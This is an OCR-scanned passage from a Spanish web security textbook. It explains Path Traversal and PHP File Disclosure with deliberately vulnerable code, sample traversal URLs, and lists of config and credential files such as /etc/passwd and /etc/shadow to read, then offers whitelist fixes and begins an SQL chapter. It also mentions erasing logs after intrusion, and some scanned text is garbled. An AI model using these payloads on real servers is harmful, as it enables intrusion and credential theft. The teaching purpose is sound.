sEHHEHB % oL—;—ﬂ‘ & M| 2 |l‘h ba| = ’.\‘_7:1\ L -:'| IR
= fiphp ]

1 [H<«?php

2 error_reporting(0):

4 [Hif (isset($ GET['pagina'])){

$pag = § _GET['pagina'];
file get_contents($pag):

PHP Hypertext Preprocessor file length:134 lines:11

Figura 12. Mediante la funciéon error_reporting(0)
desactivamos toda notificacion de posibles errores.
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También es posible ocultar los errores mediante el archivo
de configuracion php.ini, en el cual deberemos buscar la directiva
display_errors para cambiar su valor de On a Off. A diferencia de la
anterior, esta solucion puede ser mas rapida y facil de aplicar para
los administradores que no tienen nada que ver con el desarrollo
o la programacion de las aplicaciones web.

Las notificaciones de error son muy utiles para los
programadores, porque ayudan a detectar y solucionar fallos
rapidamente. Por lo tanto, mientras la aplicacion esté en desarrollo
siempre estaran presentes, pero deberan quedar ocultas a la hora
de publicar o subir el sitio a internet.

Regreso al origen

El ataque conocido como Path Transversal tiene el objetivo de
acceder a los archivos que pertenecen al sistema, que lé6gicamente
se encuentran fuera de la carpeta principal del sitio web. El objetivo,
entonces, es llegar a la raiz del servidor, pudiendo visualizar
informacion que va desde los registros y configuraciones hasta
el archivo de contrasenas /etc/passwd (en el caso de Linux).

Dos puntos y una barra

Para llevar a cabo un ataque de Path Transversal se necesitan los
caracteres dot dot slash (../) y un co6digo vulnerable a File Inclusion
o File Disclosure (ya que el ataque se explota mediante fallas que
permitan la inclusién o lectura de cualquier archivo).

Aunque confiemos en que nuestra aplicacion web estd programada de una forma segura, es acon-

sejable desactivar la notificacion de errores siempre. Recordemos que no hay sistema 100% seguro
y que inesperadamente puede producirse un error en nuestra aplicacion, que seguramente no que-
rremos que un atacante vea.
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/index.php?pag=../../logs/apache_error.log .
> include()

apache_error.log

Hacker Aplicacion web
vulnerable

Figura 13. La técnica de Path Transversal consiste en navegar
por los archivos del sistema utilizando los caracteres ../.

Tal como hariamos si tuviésemos abierta una terminal en nuestro
objetivo, debemos navegar a través de los directorios utilizando
los caracteres ../, retrocediendo hasta la raiz para luego solicitar los
archivos del sistema que nos interese ver. Analicemos la explotacion
de un cédigo vulnerable:

<?php
$plantilla = $_GET['plantilla’l;
include(“/home/www/plantillas/”. $plantilla);

7>

Si quisiéramos ver el archivo de logs tendriamos que retroceder los
directorios que sean necesarios para luego especificar la ruta del registro.
Provocando un error del modo en que aprendimos podremos, al menos,
conocer exactamente donde estamos ubicados, lo que nos ayudara a

Kali-Linux (www.kali.org) es la evolucién de Backtrack, ya que en breve este Ultimo quedara

discontinuado. Dentro del mend Kali-Linux en el item Aplicaciones weh, subitem Indexadores weh,
tenemos la excelente herramienta OWASP ZAP, que va mucho mas alla de un simple crawler y

posee una amigable interfaz gréfica.
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encontrar facilmente la carpeta de logs. La direccion URL quedara similar
a la siguiente: www.sitio.com/index.php?plantilla=../../logs/apache_
error.log vy, si escribimos bien la ubicaciéon del log, observaremos algo
similar a lo que muestra la Figura 14.

S35 Statng thread
t 137 0.0 1] cliont dersed bre
Sest 127.00.1) PHP Parse &
HP Noticr Unidefined varisble a_provincan C

Figura 14. Visualizamos el archivo apache_error.1og,
mediante la técnica de Path Transversal.

Archivos al descubierto

En esta seccién del capitulo analizaremos la vulnerabilidad de
File Disclosure: archivo al descubierto,
basada en fallos de seguridad al usar la funciéon
FILE DISCLOSURE readfile() u otras similares. Es muy parecida
PERMITE VER a File Inclusion, pero mas potente, ya que
mediante su utilizacién podremos ver incluso

INCLUSO EL CODIGO el codigo fuente de archivos PHP.

FUENTE DE UN Segun el sitio oficial de PHP, la funcion
readfile() lee un fichero y lo escribe en el buffer
ARCHIVO PHP de salida. Aprovecharemos esto para leer los

archivos del sitio y del sistema que pueden
contener informacion util para un ataque.
Veamos un cédigo vulnerable a File Disclosure:
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<?php

$archivo = $_GET[ archivo’];

echo “<h3>El contenido del archivo es:</h3><br />";
$readfile = readfile($archivo);

7>

Para empezar, le pasamos a la funcién readfile() cualquier archivo
dentro de la ubicacién donde estemos para ver qué sucede.

@ csis Firo

hitpe//locathost/We.. hplarchives holatot |

& 4 lecalbon ¢ o |
@ Daabler A Cookes # 55 [] Forrsr B Images~ ) Information [ Miscellaneous- /* Outines # Rescer & Tools Il View Sources ([l Options~

El contenido del archivo es:

HOLA

Figura 15. Mediante la funcion readfile()
podemos leer el contenido de un archivo.

Como resultado obtuvimos el contenido de un simple documento
de texto, pero también entendimos que readfile() es similar a include()

La funcion PHP file_get_contents() también puede verse implicada en la vulnerabilidad de File Disclosure.

Realiza una tarea similar a readfile(), con la diferencia de que esta (ltima muestra directamente el conte-
nido del archivo en pantalla, mientras que con file_get_contents() debe utilizarse print 0 echo. Se trata de
otra funcién que requiere de recaudos especiales.

www.redusers.com &«



238 D=4 8. REVELACION DE INFORMACION

al mostrar el contenido del archivo que le pasemos como parametro.
De todos modos, readfile() se vuelve mucho mas peligrosa cuando se
encuentra dentro de un fallo de seguridad. La posibilidad de acceder

y de leer el cédigo fuente de los documentos PHP del sitio compromete
aun mas al sistema.

Datos de acceso

Imaginemos que dentro del sitio web que auditamos encontramos
un coédigo vulnerable a File Disclosure junto a un archivo llamado
admin.php, el cual, sospechamos, autoriza el acceso a la administracién
del sitio. Mediante readfile() podremos conocer su contenido.

Lo primero que debemos hacer sera pasarle como parametro
a readfile() el archivo admin.php mediante la URL: www.sitio.com/
readfile.php?archivo=../admin/admin.php. La pagina estara vacia,
pero no asi el codigo fuente.

L} http://localhost/W.. Zarchivo=adminphp | + |
(- localhost,
@ Disable~ ‘ Cookies™ # CS5- [J Forms™ &) Images™ ﬂ Information~ ;_u Miscellaneous™ | 7 Qutliner ¢ Resizer 5 Tools [ View Source- |} Options~

El contenido del archivo es:

@ Fuente de: http://localhost/WebsVulnerables/fd.php?archivo=admin.php - Mozilla Firefox

<h3>El contenido del archivo es:</h3><br /><?php
Susuario = § GET['user'];
Spass= § GET['pass']:

if ($usuario = ‘'admin’ && $pass — '1234'){

echo 'Bienvenido a la administracién’s
jelsef

echo 'Usuario/contrasefia incorrectos’;

Figura 16. A diferencia de File Inclusion, cuando se trata de
File Disclosure podemos ver el cédigo fuente de los archivos PHP.

Configuraciones y logs

Continuando la busqueda de informacion atil mediante File Disclosure,
podemos revisar los archivos de configuraciones y logs. La siguiente lista
contiene algunos archivos de este tipo que podriamos consultar:
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e access.log: Registro de acceso.

e errorlog: Registro de errores.

e mysqgl.log: Registros de la base de datos MySQL.

e phpinfo: Archivo con una gran cantidad de informacién acerca
del estado de PHP y el servidor web.

e php.ini: Archivo de configuracion de PHP.

e my.ini: Archivo de configuracién de MySQL.

e httpd.conf: Archivo de configuracion de Apache.

Mg ot ey 0 e |
€ A woiho o - | R
@D Dustie K Covimr 7 OS5 [ Forrrn ( Imager @ Intormations [l Miacslammoor 7 Outline o Resier X Teok B View Sonses ([l Optinns®

El contenido del archive es:

# Exanple MySQL config e for medins vyt & & This is for & system with Il mesmcry (32M - 64M) wheve MySQL plavs & e svportan part, o vyviems g 1o 1255 where MySQL i uaed oty with & other progs

o arrsqldata) or * ~ v cof 1o sef uses-spect
ring options will be passed 1o ol MySQL o

» our_gasymord port = 33 = g gl wck & Here follows retrirs fin vome speciic programa o The My SO server [wrmpmiaghd] port = 33508 socket = gy sock key_bufer = 160

max allowed packe = IM tible cacke = 64 son i sire = 412K pet buffey_length = KK read s sive = 246K read s buffes_ste = 411K mysam sont_bufler { basedrmc wang-bissyvaghmsgld 4 2
log emor=c wamp fogs wrveg log dmadr-c wamp bes m uum agl5 5 20'data # Dod't hstem 0o a TCPIP port ot al This con be 2 security enhancemert. * § al processes that need to comect b0 nsghd nm on the same host
intrrmction with sy ghd mist be suade via Unia sockess or sned pipes & Not that uxing this optics without mabling remad pipes oo Windows o (via the "enable tasned jape” option) will rencder gl sseden! & o akip- et
Disable Federmed by definsk skip federat=d 2 Repieation Mastey Serves (@it = binary logeing i required for replication log-bis=wmysgh-bin. & bisary ki foemast - moned recommmended biskog Sormat=mised & toquied u
beeween 1 and 2732 - | & defisks 10 | F master-host is ot set # bur wil not fancion a3 & maser F omitted server-id = | # Replication Slave (commen ot muster section o we this) # » To confipre this host & & replication 3
can choowe brtwem & two methods & # 1) Use the CHANGE MASTER TO commmd (illy described in o mamal) - & e ysto in: & # CHANGE MASTER TO MASTER_HOST=, MASTER_PORT=, # MASTER_{
MASTER PASSWORD= . # # whese you replace ., by quoted srings sd # by e master's pon musber (3306 by defiuu) # # Exsgle # # CHANGE MASTER TO MASTER_HOST=124 254 121, MASTER POX]
# MASTER_USER='joc’, MASTER_PASSWORD~ secret 2 Set the varishdes below. However i case vou chocse the method, fien # start replication for the frst tme (even unsaccessfiily for example » f you
wianyped the password @ master-pasywrd mnd the seve fais 10 1 the skeve wil creane & master o S and my leter o chasge in fis e 1o the vavishie’ uales below will be igaored md & overmidden by the contest
sty o S, mriess vou sdpdown # the sbave serve, deketz mas a8 restant the albaves server & For Sl reascn, you may wast 10 feave B lnes below mouched # (coumased) md maead wie CHANGE MASTER
sove) @  pequired miue id betwesn 2 and 2°32 - 1 (and diferent from the maser) ¥ defiuits 10 ) f master bost & se # bux will pot fmnction a5 » slave f omimed Foerves id = 2 ¥ ¥ The replicaton mastey for s dave - re
ey bost = = = The uvemame the dave wil use for anthectication when < omnecting = o fhe master - segmed smaver mer = = # The pansword the s vl mthenticstr wth whem comecang i @ the maser  requed =
paiwucad = 8 # The poet fie maites & bitsasat n # cptional - bty 1o 1106 Sy poit = # 2 banary ot - ot requned for dives, bt secoamended Sl tar=wyg-bin & Pt e followan paths 1o Al o deducat
*tmpds = wmp whog spdate = path 1o dedicated dreciory hostmame ¥ Uncomumest the i you are wing lnocDB tables Smmodb_data_home_dir = Cmysqldain #nmodb_daia_fle_peth = bdma| |0M mmivestend
#innodh_jog_growp_owme_dli = C:mysg) e’ Smwodh_Jog_ hﬁ-rm' aldora = et _bulfes_pool_size ap 50 50 - B0 %4 & of RAM e beware of setting memory wsage 100 bigh sinnodh_belies_pool_size =
Snodls_sldihonal mem pocl_sire = 1M 8 Set_log fle_sive 1 24 % of bty poci g e doe = S Sinecd, log_busfis_sie = EM S flesh bog_ut s coment = | Semodks_lock_wiil_tancout = 30
[mvscidumg)] quok max_adowed [n- =18 | - msto s shash ¥ Remove the neat comment charactes & you are sot fumshm wih SQL #safe apdates fsamctic] ey beler = 20M sont_buffer_ste = J0M read, butfe
write_tugfer = 2M [mrsamchic] key_buffer = 20M sort_baffer_sze = 10M read_bafer = 2M write_bulfer = 2M [mrsgiboroopy | mteractre -amecet [nrrsgid] porr=3 106

cam o ol b st 2 70

Figura 17. Lectura del archivo de configuracion de MySQL
(my . in1i) explotando un File Disclosure.

Tengamos presente el archivo phpinfo, ya que proporciona una
enorme cantidad de informaciéon, muy conveniente para preparar un
ataque hacia el servidor web. En si, todos los archivos de configuracion
sirven para descartar o afladir posibles técnicas de ataque a la lista.
Sera util tener localizados los registros de error y de acceso para,
después de acceder al sistema, realizar un borrado de huellas o rastros.

Archivos del sistema

Si nos interesa indagar en el servidor web para ver qué encontramos,
tenemos aun toda la lista de archivos del sistema. Algunos son:
e /fetc/passwd: Archivo de contrasenas.
e /etc/shadow: Archivo de contraseias cifradas.
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e /etc/group: Archivo de usuarios y grupos del sistema.

e /proc/meminfo: Informacién de la memoria del sistema.

e /proc/mounts: Informacion de las unidades del sistema.

e /proc/cpuinfo: Informacion del CPU.

e /proc/partitions: Informacion de las particiones del sistema.

e /proc/modules: Lista de todos los modulos cargados en el sistema.

e /proc/devices: Dispositivos configurados para el uso con el kernel.

® /proc/filesystems: Sistema de archivos soportados por el kernel.

e /proc/drivers: Drivers que estan siendo utilizados en el sistema.
Los archivos del directorio /proc/sys proporcionan informacién sobre

el kernel del sistema, mientras que en /proc/net encontraremos datos

sobre la configuracion de red.

& 190268110

El contenido del archivo es:

Figura 18. Lectura de un archivo del sistema mediante
un fallo de seguridad usando readfile().

Proteccion

Realizaremos la proteccién contra File Disclosure aplicando filtros
al igual que hicimos con File Inclusion. Todo se soluciona impidiendo
que el usuario pueda pasarle a la funcion utilizada el parametro que
quiera. Como programadores de aplicaciones seguras, debemos definir
de antemano las paginas y documentos que pueden mostrarse a los
visitantes del sitio web. Veamos un ejemplo de coédigo seguro:
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<?php
error_reporting(0);
if (5_GET['page’l=="index"){
readfile(Mindex.php”);
}else{
echo “<h3>Error al leer archivo</h3>";
}

7>

O uno mas complejo, si lo necesitamos:

<?php
error_reporting(0);
$pagina = $_GET[‘page’];
switch($pagina){
case “index”:
readfile(“index.php”);
break;
case “‘contacto”’:
readfile(contacto.php);
break;
(...

1
o

En este capitulo descubrimos diferentes modos de obtener informacion acerca del servidor y la aplica-

cioén web a la cual le estemos realizando una auditoria, aprovechando el descuido de los administradores
al utilizar las configuraciones por defecto de las aplicaciones, y también la informacion que se puede en-
contrar en documentos que no se ocultan lo suficientemente bien. Por otro lado, comprendimos el peligro
de dejar los errores al descubierto, aprendiendo diferentes maneras de ocultarlos. Por Gltimo, conocimos
la vulnerabilidad File Disclosure, y aprendimos a explotarla y a solucionar el problema que ocasiona.
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Actividades

A O A WNN-=

~J

TEST DE AUTOEVALUACION

;Qué tipo de informacion encontraremos revisando el archivo robots.txt?
¢Como obtenemos la estructura completa del sitio web que estamos analizando?
¢A qué se debe la vulnerabilidad Directory Listing?

(Cémo podemos evitar el listado de directorios en nuestro servidor web?

;Qué datos utiles podemos obtener analizando los errores?

:De qué se aprovechan los atacantes para obtener informacion util casi sin
esfuerzo?

(Por qué es importante ocultar los errores y como podemos hacerlo?

(Qué necesitamos para llevar a cabo un atague tipo Path Transversal?

EJERCICIOS PRACTICOS

Descargue e instale el crawler eNYe-Spider y obtenga la estructura completa
de un sitio web.

Cree un archivo .htaccess. Experimente habilitando y deshabilitando el listado
de directorios.

Oculte la notificacion de errores desde el archivo de configuracion php.ini
dentro del servidor web.

Programe una aplicacion vulnerable a File Disclosure y obtenga informacion
de los diversos archivos del sistema nombrados en este capitulo.

Desarrolle una aplicacion segura contra File Disclosure.

Sitiene alguna consulta técnica relacionada con el contenido, puede contactarse
con nuestros expertos: profesor@redusers.com
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Inyeccion SQL
a bases de datos

En este capitulo conoceremos los gestores de bases de datos
mas utilizados y aprenderemos a realizarles inyecciones SQL,

con el fin de entender cdmo un atacante puede robar informacion
confidencial de una empresa o sitio web. También analizaremos

diferentes mecanismos de proteccién contra esta técnica.
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Introduccion a las
bases de datos

Una base de datos es un conjunto estructurado de datos
interrelacionados y almacenados, sin redundancias innecesarias, y
aumenta considerablemente el nivel de accesibilidad y disponibilidad
de la informacion. Puede ser local, es decir alojada y utilizada en un
solo equipo, o accedida a través de la red.

Las bases de datos surgieron gracias a la necesidad de las empresas
de almacenar grandes cantidades de informacion y acceder a sus
datos de una manera facil y rapida, siempre que fuera necesario.

Por otro lado, se buscaba reducir notablemente la redundancia en
la informacién almacenada, algo inevitable en el antiguo sistema de
archivos utilizado para guardar los datos de las empresas.

Arquitectura relacional

Actualmente, el modelo relacional es el mas utilizado para
implementar bases de datos ya planificadas. Permite establecer
interconexiones entre los datos a fin de que se pueda relacionar la
informacién almacenada evitando las redundancias.

TABLA
| l
[[1] NOMBRE PAISES ID IDCONTINENTE NOMBRE 1
1  AMERICA 36 1 1 CHILE |,
2 EUROPA 45 2 2 ITALIA |
3 ASIA 48 3 1 PERU |
4 AFRICA 54 4 3 RUSIA |
L I | |
GOLUMNAS

Figura 1. El modelo relacional organiza la informacién
en tablas que poseen columnas y registros (filas).

Las bases de datos relacionales organizan la informacién utilizando
tablas que poseen columnas. Por ejemplo, una tabla de paises podria
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contener columnas de nombre, tamaiio, idioma,

poblacién, etcétera. Luego, manualmente o EL MODELO

mediante una aplicacion, pueden afadirse RELACIONAL ES

los registros correspondientes: en este caso, ,

podriamos tener un registro de Argentina con EL MAS UTILIZADO

los datos que pertenecen a cada columna. PARA IMPLEMENTAR
Es usual que una tabla precise informacion

de otra, por ejemplo, la tabla Paises puede BASES DE DATOS

necesitar informacion de la tabla Continentes.

Las bases de datos relacionales permiten que

ambas tablas compartan la informacién que necesitan, creando
una relacion sin inconvenientes.

Gestores de bases de datos

Los DBMS (DataBase Management System) son complejas
aplicaciones que brindan una interfaz cémoda y rapida para
gestionar toda la informacién de las bases de datos. Mediante
los DBMS relacionales se facilita el proceso de creacion de tablas y
columnas que requiera la base de datos de la empresa o aplicacion
web. Ademas, proporcionan herramientas para realizar copias de
respaldo, controlar los permisos de acceso en usuarios y grupos,
generar reportes de errores, etcétera.

QROWSE

L LITEAL ) testees | pratipasms

* L] o4 w D

@ S L Cosbior # T [ Faever T @ Sirvena [ Vsistssns 7 Dusirer f Bassr X Tair () Vorm Lae A Cppaas " T-T,

aho eSS e e
Thaass ke datsn . Taomdn i b atiaih Pisa vmim Pilsiteyy . Fapuana wpuana Varishine [l St dr cavcmmes ¥ T

Figura 2. phpMyAdmin es una herramienta escrita
en PHP que permite la administracion del DBMS MySQL.

www.redusers.com &«



246 D=4 9. INYECCION SQL A BASES DE DATOS

MySQL es un DBMS relacional, de c6digo abierto, muy utilizado en
la actualidad y que funciona en multiples plataformas. Puede obtenerse
bajo licencia GNU GLP, pero las empresas que quieran utilizarlo en
productos privados deben comprar la licencia.

Oracle Database es un DBMS desarrollado por Oracle
Corporation, que ha tenido muchisimo éxito debido a que es muy
completo y posee instalaciones para Windows, Linux y Solaris, entre
otros S.0. Cuenta ademas con varias versiones. Podemos encontrar mas
informacion en su sitio web oficial: www.oracle.com.

Microsoft SQL Server, también conocido como MSSQL, es otro
DBMS basado en el modelo relacional, soportado por los sistemas
Windows Server. Facilita la gestiéon de la base de datos mediante
un intuitivo entorno grafico de administracion. Podemos descargar
una evaluacion de 180 dias desde la pagina oficial de Microsoft:
www.microsoft.com.

- WIQIotoR 3TN, Server Managernet Tedio (Adminisirada
Suhwe Edter Ve Depuw Hensrwertss  Vaviane  Ayssda

O e A N e b U5 L | Mot ot B0 18

Figura 3. Microsoft SQL Server ofrece un entorno
grafico para administrar las bases de datos.

Si queremos ampliar la informacidn y conocer en detalle todos los tipos de licencias que existen hoy

en dia, estar al tanto de novedades, hacer consultas y descargar el producto, podemos visitar su web

oficial: www.mysql.com o http://dev.mysql.com.
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Existen otros DBMS muy conocidos y utilizados por las empresas y
aplicaciones web para administrar sus bases de datos, como IBM DB2,
PostgreSQL, mSQL, Ingres, Informix, entre otros.

Lenguaje SQL

SQL (Structured Query Language) es un lenguaje de consulta
estructurado, utilizado por la mayoria de los DBMS relacionales,
mediante el cual los gestores de bases de datos
ejecutan las operaciones necesarias sobre la

informacion almacenada y su estructura. SQL ES EL LENGUAJE
El lenguaje SQL esta compuesto por MAS UTILIZADO

comandos, clausulas, operadores y funciones,

que analizaremos a continuaciéon. Saber POR LAS BASES

armar correctamente las consultas SQL es DE DATOS

indispensable para comprender y realizar

ataques contra las bases de datos, tal como RELACIONALES

veremos en este capitulo.

Cuanto mas conocimiento tengamos sobre el
lenguaje SQL y la forma en que lo implementan los diferentes
DBMS, mas habilidad tendremos a la hora de atacar o defender
nuestras bases de datos.

* 4w | 4+ & DO-

Conm s

Figura 4. La herramienta phpMyAdmin
para MySQL dispone de una consola para ejecutar
consultas SQL escritas manualmente.
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DDL y DML

Dentro de SQL tenemos dos lenguajes:

e DDL (Data Definition Language), utilizado para definir la estructura
de la base de datos.

e DML (Data Manipulation Language), cuyo fin es manipular la
informaciéon almacenada en la base de datos.

En cuanto a las operaciones basicas para definir los datos (DDL),
contamos con los comandos CREATE TABLE, ALTER TABLE y DROP
TABLE, para crear, modificar y eliminar tablas completas.

En el caso de que quisiéramos crear una tabla de paises, la sintaxis
DDL seria similar a la siguiente:

CREATE TABLE paises(
ID int(9) unsigned auto_increment not null,
Nombre varchar(255) not null,
Idioma varchar(255) not null,
Tamaiio varchar(255) not null,
Poblacién varchar(255) not null,
KEY (ID)

Luego de ejecutarse el comando se creara la tabla paises con
las columnas ID, Nombre, Idioma, Tamaio y Poblacion, con sus
respectivas caracteristicas. La columna ID es la clave primaria,
que identifica de manera tnica los registros de una tabla.

Es importante que su valor se autoincremente cada vez
que se afilade un nuevo registro, para evitar asi que existan dos
identificadores iguales dentro de una misma tabla y para que los
datos se puedan acceder de manera precisa.

Aunque actualmente el modelo relacional es el mas utilizado, no es el Unico que existe. El modelo jeréar-

quico, uno de los mas antiguos, es utilizado por LDAP (Lightweight Directory Access Protocol). También

existe el modelo de red (similar al jerarquico), el de datos distribuidos y el orientado a objetos.
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Lingsar

| Chnbrrtmbar  Masiow ootz prornats o e

Figura 5. Creamos una tabla mediante un comando
DDL en la base de datos test de MySQL.

Comandos DML

En esta seccién profundizaremos en los comandos para la
manipulacién de datos (DML), ya que son utilizados en los ataques
de inyeccion SQL, debido a que permiten extraer de una base de datos
toda la informacién que se quiera, asi como también insertar nueva,
modificar la existente e incluso borrarla.

Para realizar una determinada busqueda dentro de una base
de datos y obtener el resultado esperado, creamos una consulta
utilizando el comando SELECT. Por ejemplo, si quisiéramos traer
absolutamente todos los registros que almacena una tabla, la
consulta seria la siguiente:

SELECT * FROM nombre_tabla

Con el asterisco (*) indicamos que queremos visualizar todos
los registros de la tabla nombre_tabla, que l6gicamente debe ser
reemplazada por la que corresponda en cada caso. Como podemos
observar, la sintaxis SQL de comandos DML es bastante deducible,
por lo que resulta simple y facil de entender.
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Si queremos agregar un nuevo registro usamos el comando INSERT
INTO. Su sintaxis puede parecer mas compleja, pero al acostumbrarnos
a utilizar el lenguaje SQL nos daremos cuenta de que sigue
manteniendo el mismo nivel de simplicidad.

INSERT INTO "paises (

'ID", "Nombre’, "Idioma’, “Tamaio’, "Poblacion’
) VALUES(

" Argentina” " Castellano” " "42.192.494"
)
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Figura 6. Un nuevo registro insertado en la tabla
de paises dentro de la base de datos test de MySQL.

Como observamos, la sintaxis de INSERT INTO requiere que
especifiquemos previamente la tabla que almacenara el nuevo registro,

444

La mayoria de los lenguajes de programacion utilizados en la actualidad poseen librerias y funciones para

el desarrollo de aplicaciones que necesiten almacenar informacién en una base de datos. Por ejemplo,
PHP tiene una gran lista de funciones para conectarse e interactuar con MySQL y otros DBMS.
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luego los nombres de las columnas existentes, y
finalmente los valores que corresponden. En este
caso tenemos cinco columnas, por lo cual hay que
afnadir cinco valores.

UPDATE es el comando DML para modificar
los registros ya existentes en una tabla. Para
comprender su funcionamiento, modificaremos
el registro de Argentina que hemos agregado
con INSERT INTO, cambiando el nombre del pais.
Ejecutamos la siguiente consulta:

UPDATE “paises’ SET "Nomhre ="Uruguay”

USERS Iy

UN COMANDO DML
PUEDE ANADIR,
CAMBIAR 0 ELIMINAR
INFORMACION DE UNA
BASE DE DATOS

El comando es breve, pero debemos tener en cuenta que cambiara

el nombre del pais a “Uruguay” en absolutamente todos los registros.
Si este no fuera el resultado esperado, para cambiar el nombre a un
solo registro deberemos utilizar la clausula WHERE, que conoceremos

en la siguiente seccion.

4 & O
o

Figura 7. El comando DML UPDATE modifica los registros de una tabla.

Clausulas y funciones

El lenguaje SQL también esta compuesto por clausulas, que ayudan
en gran medida a armar consultas mucho mas especificas. Una de ellas
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es FROM (utilizada anteriormente junto al comando SELECT), e indica la
tabla que se va a consultar. Por ejemplo, si realizamos una basqueda de
informacion con el comando SELECT, tendremos que especificar dentro
de qué tabla se encuentran los datos.

SELECT Nombre, Idioma FROM paises

Otra clausula, tan importante como util, es WHERE, que sirve
para especificar condiciones dentro de una consulta. Por ejemplo, el
comando DML DELETE, utilizado para borrar datos, requiere que se le
indique el registro que debe eliminar:

DELETE FROM paises WHERE ID=1

Ejecutando esa consulta eliminaremos, de la tabla paises, el registro
con el identificador nimero uno. Si necesitamos cambiar el nombre del
idioma a varios paises, en lugar de hacerlo uno por uno y mientras la
columna tenga el mismo valor para todos, podemos hacerlo mediante
una simple consulta, utilizando la clausula WHERE.

UPDATE paises SET Idioma="Espaiol Latino” WHERE Idioma="Castellano”

En todos los registros de la tabla paises donde el idioma sea igual
a “Castellano” se reemplazara por “Espariol Latino”.

Al avanzar en técnicas de inyeccion SQL pueden ser de utilidad
otras clausulas que, si bien no utilizaremos en este capitulo, vamos
a mencionar: ORDER BY, utilizada para mostrar el resultado de una

444

El sitio web de OWASP ofrece bastante documentacion sobre la técnica de inyeccion SQL. Podemos consultar

en espanol el siguiente enlace: www.owasp.org/index.php/Inyeccién_SQL. También disponemos de un
poco més de informacién en inglés: www.owasp.org/index.php/Reviewing_Code_for_SQL_Injection.
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consulta en un orden especifico -que pudiera ser ASC (ascendente)
o DESC (descendente)- y GROUP BY, que sirve para mostrar los
resultados en grupos especificos.
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Figura 8. Mediante el uso de la clausula WHERE
se pueden afnadir condiciones a la consulta SQL.

En cuanto a las funciones, solo mencionaremos la funcion COUNT(),
que puede ser utilizada para obtener el nimero de registros que posee
una tabla. Por ejemplo:

SELECT COUNT(*) FROM paises

Esta breve consulta devuelve como resultado la cantidad total
de registros que contiene la tabla paises.

Ademas de comandos, clausulas y funciones, también hay
operadores logicos y de comparacion, como en la mayoria

La funcion hash es un algoritmo capaz de generar una combinacion de nimeros y letras que representa

de manera casi Unica un archivo o dato. A partir de un hash no se puede obtener el dato original que lo ge-

nero, por lo que son ampliamente utilizadas para evitar el almacenamiento de contrasefas en texto plano.
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de los lenguajes de programacion. La mejor manera de aprender
SQL es realizar consultas con todo tipo de comandos dentro de la
consola del DBMS.

Instalacion de MySQL

Al hablar de los gestores de base de datos nombramos a MySQL
como un DBMS relacional, de cédigo abierto y muy utilizado.
Aprovecharemos su simplicidad para instalarlo en nuestro servidor
y realizar todas las practicas del capitulo.

Descarga de paquetes

En el Capitulo 1, cuando instalamos Ubuntu Server, tuvimos la
posibilidad de afiadir el paquete LAMP, que viene con Apache, MySQL
y PHP. Si no lo hicimos, deberemos instalarlo manualmente. Para
hacerlo, ingresamos al archivo de MySQL en http://downloads.mysql.
com/archives.php) y elegimos MySQL Database Server.

LA T ] °c & % D-

Figura 9. En el archivo de MySQL estan disponibles
las descargas necesarias, por version y plataforma.

El archivo que descarguemos va a depender del sistema operativo
que tengamos instalado en nuestro servidor web. Si estamos utilizando
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Microsoft Windows podemos elegir la opcién para dicho sistema

y descargar el instalador de MySQL. Existen también versiones para
Mac OS X, Sun Solaris y FreeBSD, asi como paquetes RPM para las
distribuciones GNU/LINUX. Por ultimo, MySQL permite descargar el
codigo fuente para poder compilarlo.

Instalacion de componentes

Una vez obtenidos los archivos correspondientes a la plataforma de
nuestro servidor web, procedemos a instalar el gestor MySQL. En el
caso de Windows utilizaremos el instalador y seguiremos sus pasos,
como con cualquier otra aplicacion.

8 MySQL Server 55 Setup [=]@

Custom Setup
Select the way you want features to be installed.

Click the icons in the tree below to change the way features will be installed.

§ & @l MySQL Server Install MySQL Server
} i Client Programs

i ‘- =3 = | Debug binaries
(#}--- =3 * | Development Components

T — M Debug Symbols This feature requires 139MB on

feme =3 + | Server data files your hard drive. It has 2 of 2
subfeatures selected. The
subfeatures require 88MB on your
hard drive.

Location: C:\Program Files\MySQL\MySQL Server 5.6\

[ Reset Il Disk Usage J[__Bak [ Next_ ][ cancel |

Figura 10. En esta figura vemos el instalador
del DBMS MySQL para Microsoft Windows.

Si estamos utilizando una distribucién Linux con soporte para
paquetes RPM la instalaciéon también sera sencilla. En primer lugar,

DOCUMENTACION SOBRE MYSQL

El gestor de bases de datos MySQL tiene un sitio web oficial muy completo, con documentacion de todo
tipo para satisfacer las necesidades de usuarios y desarrolladores. La informacion estd disponible en
varios idiomas y podemos acceder a las guias desde http://dev.mysqgl.com.
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instalamos el intérprete del lenguaje Perl para evitar errores
de dependencias en MySQL. Luego, ejecutamos la siguiente
secuencia de comandos:

rpm -ivh MySQL-shared-(version).rpm
rpm -ivh MySQL-server-(version).rpm

rpm -ivh MySQL-client-(version).rpm

Por ultimo, si queremos hacer la compilacion directamente desde el
codigo fuente, tendremos que consultar la documentacién de la pagina
oficial de MySQL. Los pasos varian un poco segun la version, por lo cual
debemos consultar la guia correspondiente a la versién descargada.

o & » D

Figura 11. En la pagina oficial de MySQL hay disponible
una guia paso a paso para instalar el DBMS desde el codigo fuente.

information_schema y mysq|

El gestor MySQL instala por defecto al menos dos bases de datos,
debido a que el DBMS necesita un lugar donde almacenar todos los
datos relacionados con la estructura de la informacién y los usuarios
que pueden acceder, entre otros items.
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information_schema es la base de datos instalada por defecto, que
almacena informacién acerca de todas las otras bases que mantiene
el servidor MySQL (por ejemplo, los nombres de las tablas, el tipo
de dato de las columnas, los permisos de acceso, etcétera).

Las tablas de information_schema a menudo consultadas en los
ataques de inyeccién SQL en MySQL son:

e Schemata: contiene informacion sobre las bases de datos alojadas
en el servidor.

e Tables: proporciona informacién acerca de las tablas de todas
las bases de datos.

e Columns: almacena informacion sobre las columnas de cada una
de las tablas.

& @ 1msay 1] °c 3 % B

Figura 12. Listado de tablas de la base
de datos information_schema.

La otra base de datos instalada por defecto es mysql, que almacena
informacion sobre el gestor en si. Una de las tablas que contiene
guarda los datos de acceso de los usuarios del DBMS.

Cuestiones de seguridad

Al instalar un servidor de bases de datos MySQL debemos tener en
cuenta algunos aspectos de seguridad sumamente importantes. En esta
seccion del capitulo aprenderemos a implementar seguridad sobre la
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base de datos respecto a usuarios, permisos, conexiones, puertos y
servicios de MySQL. Estas medidas de proteccion pueden aplicarse de
manera similar en otros DBMS.

Asignar contrasenas

Al instalarse, MySQL crea una cuenta llamada reot, con permisos
de administracion sobre todas las bases de datos. Esta cuenta no viene
configurada con contrasefia, por lo cual cualquier persona podria
ingresar al DBMS como usuario root y obtener los permisos mas elevados
sin inconvenientes. Nuestro primer paso de seguridad al instalar MySQL,
entonces, debe ser asignar una contrasefia segura al usuario root.

Dentro de MySQL también existen las cuentas anénimo, que tampoco
